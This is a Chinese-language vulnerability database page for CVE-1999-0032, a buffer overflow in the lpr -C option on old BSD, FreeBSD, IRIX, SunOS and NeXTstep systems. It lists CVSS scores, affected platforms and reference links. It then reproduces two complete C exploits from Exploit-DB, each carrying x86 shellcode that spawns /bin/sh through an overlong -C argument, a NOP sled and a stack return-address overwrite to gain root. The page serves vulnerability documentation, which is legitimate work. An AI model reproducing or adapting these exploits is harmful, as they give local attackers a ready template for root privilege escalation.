CVE-1999-0032
CVSS7.2
发布时间 :1996-10-25 00:00:00
修订时间 :2008-09-09 08:33:35
NMCOE    

[原文]Buffer overflow in lpr, as used in BSD-based systems including Linux, allows local users to execute arbitrary code as root via a long -C (classification) command line option.


[CNNVD]多厂商lpr缓冲区溢出漏洞(CNNVD-199610-007)

        基于BSD系统包括Linux的lpr存在缓冲区溢出漏洞,本地用户可以借助一个超长-C(分类)命令行选项执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sgi:irix:6.0.1SGI IRIX 6.0.1
cpe:/o:sgi:irix:6.3SGI IRIX 6.3
cpe:/o:sgi:irix:5.0
cpe:/o:sgi:irix:6.4SGI IRIX 6.4
cpe:/o:bsdi:bsd_os:2.1
cpe:/o:sgi:irix:5.0.1SGI IRIX 5.0.1
cpe:/o:sun:sunos:4.1.3u1Sun SunOS 4.1.3u1
cpe:/o:sgi:irix:6.2SGI IRIX 6.2
cpe:/o:sgi:irix:5.2SGI IRIX 5.2
cpe:/o:next:nextstep:4.0
cpe:/o:freebsd:freebsd:2.1.5FreeBSD 2.1.5
cpe:/o:freebsd:freebsd:2.0.5FreeBSD 2.0.5
cpe:/o:freebsd:freebsd:2.0FreeBSD 2.0
cpe:/o:sgi:irix:5.1SGI IRIX 5.1
cpe:/o:sgi:irix:5.1.1SGI IRIX 5.1.1
cpe:/o:sgi:irix:5.3SGI IRIX 5.3
cpe:/o:sgi:irix:6.0SGI IRIX 6.0
cpe:/o:sun:sunos:4.1.4Sun SunOS 4.1.4
cpe:/o:freebsd:freebsd:2.1.0FreeBSD 2.1.0
cpe:/o:next:nextstep:4.1
cpe:/o:sgi:irix:6.1SGI IRIX 6.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0032
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0032
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199610-007
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/707
(UNKNOWN)  BID  707
http://www.ciac.org/ciac/bulletins/i-042.shtml
(UNKNOWN)  CIAC  I-042
ftp://patches.sgi.com/support/free/security/advisories/19980402-01-PX
(UNKNOWN)  SGI  19980402-01-PX

- 漏洞信息

多厂商lpr缓冲区溢出漏洞
高危 缓冲区溢出
1996-10-25 00:00:00 2006-11-16 00:00:00
本地  
        基于BSD系统包括Linux的lpr存在缓冲区溢出漏洞,本地用户可以借助一个超长-C(分类)命令行选项执行任意代码。

- 公告与补丁

        It is advised to install vendor fixes for this problem.

- 漏洞信息 (19544)

BSD/OS 2.1,FreeBSD <= 2.1.5,NeXTstep 4.x,IRIX <= 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun(1) (EDBID:19544)
linux local
1996-10-25 Verified
0 Vadim Kolontsov
N/A [点击下载]
BSD/OS 2.1,FreeBSD 2.1.5,NeXTstep 4.0/4.1,SGI IRIX 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun Vulnerability (1) 

source: http://www.securityfocus.com/bid/707/info

Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
		

- 漏洞信息 (19545)

BSD/OS 2.1,FreeBSD <= 2.1.5,NeXTstep 4.x,IRIX <= 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun(2) (EDBID:19545)
bsd local
1996-10-25 Verified
0 Vadim Kolontsov
N/A [点击下载]
source: http://www.securityfocus.com/bid/707/info
 
Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.

 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>

 #define DEFAULT_OFFSET 50
 #define BUFFER_SIZE 1023

 long get_esp(void)
 {
 __asm__("movl %esp,%eax\n");
 }

 void main()
 {
 char *buff = NULL;
 unsigned long *addr_ptr = NULL;
 char *ptr = NULL;

 char execshell[] =
 "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
 "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
 "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
 "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

 int i;

 buff = malloc(4096);
 if(!buff)
 {
 printf("can't allocate memory\n");
 exit(0);
 }
 ptr = buff;
 memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
 ptr += BUFFER_SIZE-strlen(execshell);
 for(i=0;i < strlen(execshell);i++)
 *(ptr++) = execshell[i];
 addr_ptr = (long *)ptr;
 for(i=0;i<2;i++)
 *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
 ptr = (char *)addr_ptr;
 *ptr = 0;
 execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
 }
		

- 漏洞信息

1105
Multiple Vendor lpr -C Option Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

1996-08-13 Unknow
1996-08-13 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站